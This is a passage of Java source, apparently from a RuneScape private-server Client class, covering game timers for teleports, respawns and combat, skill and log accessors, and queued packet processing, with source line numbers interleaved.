		if (skullTimer > 0) {
1599
			skullTimer--;
1600
			if (skullTimer == 1) {
1601
				isSkulled = false;
1602
				attackedPlayers.clear();
1603
				headIconPk = -1;
1604
				skullTimer = -1;
1605
				getPA().requestUpdates();
1606
			}
1607
		}
1608
1609
		if (isDead && respawnTimer == -6) {
1610
			getPA().applyDead();
1611
		}
1612
1613
		if (specRestore > 0) {
1614
			specRestore--;
1615
		}
1616
1617
		if (respawnTimer == 7) {
1618
			respawnTimer = -6;
1619
			getPA().giveLife();
1620
		} else if (respawnTimer == 12) {
1621
			respawnTimer--;
1622
			startAnimation(0x900);
1623
			poisonDamage = -1;
1624
		}
1625
1626
		if (respawnTimer > -6) {
1627
			respawnTimer--;
1628
		}
1629
		if (freezeTimer > -6) {
1630
			freezeTimer--;
1631
			if (frozenBy > 0) {
1632
				if (PlayerHandler.players[frozenBy] == null) {
1633
					freezeTimer = -1;
1634
					frozenBy = -1;
1635
				} else if (!goodDistance(absX, absY,
1636
						PlayerHandler.players[frozenBy].absX,
1637
						PlayerHandler.players[frozenBy].absY, 20)) {
1638
					freezeTimer = -1;
1639
					frozenBy = -1;
1640
				}
1641
			}
1642
		}
1643
1644
		if (hitDelay > 0) {
1645
			hitDelay--;
1646
		}
1647
		//RubberCheck(); //Rubber Chicken
1648
	if (teleTimer > 0) {
1649
		teleTimer--;
1650
		if (isPvpMode) { //For pvp mode - 10 second Teleport delay
1651
			if (!isDead) {
1652
				if (teleTimer == 1 && newLocation > 0) { //Full teleport finishes here.
1653
					teleTimer = 0;
1654
					getPA().changeLocation();
1655
				}
1656
				if (teleTimer == 5) { //This is where it starts to read new map data for teleport
1657
					teleTimer--;
1658
					getPA().processTeleport();
1659
				}
1660
				if (teleTimer == 9 && teleGfx > 0 ) { //This is where the animations start
1661
					teleTimer--;
1662
					if (playerMagicBook == 1) { //Added all this here because of 10 second delay...
1663
						startAnimation(1979);
1664
						gfx0(392);
1665
					} else {
1666
						startAnimation(714);
1667
						gfx100(teleGfx);
1668
					}
1669
				}
1670
				if (teleTimer >= 9 && teleTimer <= (playerMagicBook == 1 ? 19 : 21)) { //This is a check for the "10" second wait timer
1671
					if (underAttackBy > 0 || underAttackBy2 > 0) {
1672
						sendMessage("Teleport has been canceled because you are in combat.");
1673
						teleTimer = 0;
1674
						return;
1675
					}
1676
				}
1677
				if (teleTimer == (playerMagicBook == 1 ? 18 : 20)) { //Start of timer (when you click button)
1678
					if (underAttackBy > 0 || underAttackBy2 > 0) {
1679
						sendMessage("Teleport has been canceled because you are in combat.");
1680
						teleTimer = 0;
1681
						return;
1682
					}
1683
					teleTimer--;
1684
					sendMessage("Teleporting in 10 seconds...");
1685
					getDH().sendDialogues(570, 1);
1686
				}
1687
				
1688
			} else {
1689
				teleTimer = 0;
1690
			}
1691
		} else { //For regular teleports below
1692
			if (!isDead) {
1693
				if (teleTimer == 1 && newLocation > 0) {
1694
					teleTimer = 0;
1695
					getPA().changeLocation();
1696
				}
1697
				if (teleTimer == 5) {
1698
					teleTimer--;
1699
					getPA().processTeleport();
1700
				}
1701
				if (teleTimer == 9 && teleGfx > 0) {
1702
					teleTimer--;
1703
					gfx100(teleGfx);
1704
				}
1705
			} else {
1706
				teleTimer = 0;
1707
			}
1708
		}
1709
	}
1710
		
1711
		/*if (isPvpMode) {
1712
			if (System.currentTimeMillis() - pvpTeleDelay > 7000) {
1713
				CycleEventHandler.getSingleton().stopEvents(this);
1714
				getPA().processTeleport();
1715
			} else {
1716
				sendMessage("You must be out of combat for 7 seconds before teleporting.");
1717
			}
1718
		}*/
1719
1720
		if (hitDelay == 1) {
1721
			if (oldNpcIndex > 0) {
1722
				getCombat().delayedHit(this, oldNpcIndex);
1723
			}
1724
			if (oldPlayerIndex > 0) {
1725
				getCombat().playerDelayedHit(this, oldPlayerIndex);
1726
			}
1727
		}
1728
1729
		if (attackTimer > 0) {
1730
			attackTimer--;
1731
		}
1732
1733
		if (attackTimer == 1) {
1734
			if (npcIndex > 0 && clickNpcType == 0) {
1735
				getCombat().attackNpc(npcIndex);
1736
			}
1737
			if (playerIndex > 0) {
1738
				getCombat().attackPlayer(playerIndex);
1739
			}
1740
		} else if (attackTimer <= 0 && (npcIndex > 0 || playerIndex > 0)) {
1741
			if (npcIndex > 0) {
1742
				attackTimer = 0;
1743
				getCombat().attackNpc(npcIndex);
1744
			} else if (playerIndex > 0) {
1745
				attackTimer = 0;
1746
				getCombat().attackPlayer(playerIndex);
1747
			}
1748
		}
1749
1750
	}
1751
1752
	public Map getStringMap() {
1753
		return stringMap;
1754
	}
1755
1756
	private String redOrGreen(boolean green) {
1757
		return green ? "@gre@" : "@red@";
1758
	}
1759
1760
	public void setCurrentTask(Future<?> task) {
1761
		currentTask = task;
1762
	}
1763
1764
	public Future<?> getCurrentTask() {
1765
		return currentTask;
1766
	}
1767
1768
	public synchronized Stream getInStream() {
1769
		return inStream;
1770
	}
1771
1772
	public synchronized int getPacketType() {
1773
		return packetType;
1774
	}
1775
1776
	public synchronized int getPacketSize() {
1777
		return packetSize;
1778
	}
1779
1780
	public synchronized Stream getOutStream() {
1781
		return outStream;
1782
	}
1783
1784
	public ItemAssistant getItems() {
1785
		return itemAssistant;
1786
	}
1787
1788
	public PlayerAssistant getPA() {
1789
		return playerAssistant;
1790
	}
1791
1792
	public PMLog PMLog() {
1793
		return PMLog;
1794
	}
1795
1796
	public Alching Alching() {
1797
		return Alching;
1798
	}
1799
1800
	public ClickItem ClickItem() {
1801
		return ClickItem;
1802
	}
1803
1804
	public Shopping Shopping() {
1805
		return Shopping;
1806
	}
1807
1808
	public PickupItem PickupItem() {
1809
		return PickupItem;
1810
	}
1811
1812
	public DroppingItem DroppingItem() {
1813
		return DroppingItem;
1814
	}
1815
	public PvPLog PvPLog() {
1816
		return PvPLog;
1817
	}
1818
	public CommandsLog CommandsLog() {
1819
		return CommandsLog;
1820
	}
1821
1822
	public StakingLog StakingLog() {
1823
		return StakingLog;
1824
	}
1825
1826
	public DialogueHandler getDH() {
1827
		return dialogueHandler;
1828
	}
1829
1830
	public ShopAssistant getShops() {
1831
		return shopAssistant;
1832
	}
1833
1834
	public TradeAndDuel getTradeAndDuel() {
1835
		return tradeAndDuel;
1836
	}
1837
1838
	public CombatAssistant getCombat() {
1839
		return combatAssistant;
1840
	}
1841
1842
	public ActionHandler getActions() {
1843
		return actionHandler;
1844
	}
1845
1846
	public KillsStreak getStreak() {
1847
		return killsStreak;
1848
	}
1849
1850
	public PlayerKilling getKill() {
1851
		return playerKilling;
1852
	}
1853
1854
	public Channel getSession() {
1855
		return session;
1856
	}
1857
1858
	public Achievement getAchievement() {
1859
		return achievement;
1860
	}
1861
1862
	public TradeLog getTradeLog() {
1863
		return tradeLog;
1864
	}
1865
1866
	public Bank getBank() {
1867
		return bank;
1868
	}
1869
1870
	public Potions getPotions() {
1871
		return potions;
1872
	}
1873
1874
	public PotionMixing getPotMixing() {
1875
		return potionMixing;
1876
	}
1877
1878
	public Food getFood() {
1879
		return food;
1880
	}
1881
1882
	public boolean ardiRizal() {
1883
		if ((playerEquipment[playerHat] == -1)
1884
				&& (playerEquipment[playerCape] == -1)
1885
				&& (playerEquipment[playerAmulet] == -1)
1886
				&& (playerEquipment[playerChest] == -1)
1887
				&& (playerEquipment[playerShield] == -1)
1888
				&& (playerEquipment[playerLegs] == -1)
1889
				&& (playerEquipment[playerHands] == -1)
1890
				&& (playerEquipment[playerFeet] == -1)
1891
				&& (playerEquipment[playerWeapon] == -1)) {
1892
			return true;
1893
		} else {
1894
			return false;
1895
		}
1896
	}
1897
1898
	private boolean isBusy = false;
1899
	private boolean isBusyHP = false;
1900
	public boolean isBusyFollow = false;
1901
1902
	public boolean checkBusy() {
1903
		/*
1904
		 * if (getCombat().isFighting()) { return true; }
1905
		 */
1906
		if (isBusy) {
1907
			// actionAssistant.sendMessage("You are too busy to do that.");
1908
		}
1909
		return isBusy;
1910
	}
1911
1912
	public boolean checkBusyHP() {
1913
		return isBusyHP;
1914
	}
1915
1916
	public boolean checkBusyFollow() {
1917
		return isBusyFollow;
1918
	}
1919
1920
	public void setBusy(boolean isBusy) {
1921
		this.isBusy = isBusy;
1922
	}
1923
1924
	public boolean isBusy() {
1925
		return isBusy;
1926
	}
1927
1928
	public void setBusyFollow(boolean isBusyFollow) {
1929
		this.isBusyFollow = isBusyFollow;
1930
	}
1931
1932
	public void setBusyHP(boolean isBusyHP) {
1933
		this.isBusyHP = isBusyHP;
1934
	}
1935
1936
	public boolean isBusyHP() {
1937
		return isBusyHP;
1938
	}
1939
1940
	public boolean isBusyFollow() {
1941
		return isBusyFollow;
1942
	}
1943
1944
	public boolean canWalk = true;
1945
	public boolean hasChosenIronMan;
1946
	public boolean isChosing;
1947
1948
	public boolean canWalk() {
1949
		return canWalk;
1950
	}
1951
1952
	public void setCanWalk(boolean canWalk) {
1953
		this.canWalk = canWalk;
1954
	}
1955
1956
	public PlayerAssistant getPlayerAssistant() {
1957
		return playerAssistant;
1958
	}
1959
1960
	public SkillInterfaces getSI() {
1961
		return skillInterfaces;
1962
	}
1963
1964
	public Zulrah getZulrah() {
1965
		return zulrah;
1966
	}
1967
1968
	/**
1969
	 * Skill Constructors
1970
	 */
1971
	public Slayer getSlayer() {
1972
		return slayer;
1973
	}
1974
1975
	public Hunter getHunter() {
1976
		return hunter;
1977
	}
1978
1979
	public Summoning Summoning() {
1980
		return Summoning;
1981
	}
1982
1983
	public Woodcutting getWoodcutting() {
1984
		return woodcutting;
1985
	}
1986
1987
	public Mining getMining() {
1988
		return mine;
1989
	}
1990
1991
	public Runecrafting getRunecrafting() {
1992
		return runecrafting;
1993
	}
1994
1995
	public BankPin getBankPin() {
1996
		return bankPin;
1997
	}
1998
1999
	public PotSmoking getPotSmoking() {
2000
		return potSmoking;
2001
	}
2002
2003
	public Cooking getCooking() {
2004
		return cooking;
2005
	}
2006
2007
	public Agility getAgility() {
2008
		return agility;
2009
	}
2010
2011
	public Crafting getCrafting() {
2012
		return crafting;
2013
	}
2014
2015
	public Farming getFarming() {
2016
		return farming;
2017
	}
2018
2019
	public Thieving getThieving() {
2020
		return thieving;
2021
	}
2022
2023
	public Herblore getHerblore() {
2024
		return herblore;
2025
	}
2026
2027
	public String getConnectedFrom() {
2028
		return connectedFrom;
2029
	}
2030
2031
	public Pets getSummon() {
2032
		return pets;
2033
	}
2034
2035
	public Smithing getSmithing() {
2036
		return smith;
2037
	}
2038
	public CreateNPC createNPC() {
2039
		return newNPC;
2040
	}
2041
	
2042
	public RemoveNPC removeNPC() {
2043
		return rNPC;
2044
	}
2045
	public SmithingInterface getSmithingInt() {
2046
		return smithInt;
2047
	}
2048
2049
	public Firemaking getFiremaking() {
2050
		return firemaking;
2051
	}
2052
2053
	public Fletching getFletching() {
2054
		return fletching;
2055
	}
2056
2057
	public Prayer getPrayer() {
2058
		return prayer;
2059
	}
2060
2061
	/**
2062
	 * End of Skill Constructors
2063
	 */
2064
2065
	public void queueMessage(Packet arg1) {
2066
		synchronized (queuedPackets) {
2067
			queuedPackets.add(arg1);
2068
		}
2069
	}
2070
2071
	@Override
2072
	public boolean processQueuedPackets() {
2073
		synchronized (queuedPackets) {
2074
			Packet p = null;
2075
			while ((p = queuedPackets.poll()) != null) {
2076
				inStream.currentOffset = 0;
2077
				packetType = p.getOpcode();
2078
				packetSize = p.getLength();
2079
				inStream.buffer = p.getPayload().array();
2080
				if (packetType > 0) {
2081
					PacketHandler.processPacket(this, packetType, packetSize);
2082
				}
2083
			}
2084
		}
2085
		return true;
2086
	}
2087
2088
	/*
2089
	 * public void queueMessage(Packet arg1) { //synchronized(queuedPackets) {
2090
	 * //if (arg1.getId() != 41) queuedPackets.add(arg1); //else
2091
	 * //processPacket(arg1); //} }
2092
	 * 
2093
	 * public synchronized boolean processQueuedPackets() { Packet p = null;
2094
	 * synchronized(queuedPackets) { p = queuedPackets.poll(); } if(p == null) {
2095
	 * return false; } inStream.currentOffset = 0; packetType = p.getOpcode();
2096
	 * packetSize = p.getLength(); inStream.buffer = p.getPayload().array();
2097
	 * if(packetType > 0) { //sendMessage("PacketType: " + packetType);
2098
	 * PacketHandler.processPacket(this, packetType, packetSize); }
2099
	 * timeOutCounter = 0; return true; }
2100
	 * 
2101
	 * public synchronized boolean processPacket(Packet p) { synchronized (this)
2102
	 * { if(p == null) { return false; } inStream.currentOffset = 0; packetType
2103
	 * = p.getOpcode(); packetSize = p.getLength(); inStream.buffer =
2104
	 * p.getPayload().array(); if(packetType > 0) { //sendMessage("PacketType: "
2105
	 * + packetType); PacketHandler.processPacket(this, packetType, packetSize);
2106
	 * } timeOutCounter = 0; return true; } }
2107
	 */
2108
2109
	public void correctCoordinates() {
2110
		if (inPcGame()) {
2111
			getPA().movePlayer(2657, 2639, 0);
2112
		}
2113
		if (inFightCaves()) {
2114
			getPA().movePlayer(absX, absY, playerId * 4);
2115
			sendMessage("Your wave will start in 10 seconds.");
2116
			CycleEventHandler.getSingleton().addEvent(this, new CycleEvent() {
2117
				@Override
2118
				public void execute(CycleEventContainer container) {
2119
					Server.fightCaves
2120
							.spawnNextWave((Client) PlayerHandler.players[playerId]);
2121
					container.stop();
2122
				}
2123
2124
				@Override
2125
				public void stop() {
2126
2127
				}
2128
			}, 20);
2129
2130
		}
2131
2132
	}
2133
2134
	public Barrows getBarrows() {
2135
		return barrows;
2136
	}
2137
2138
}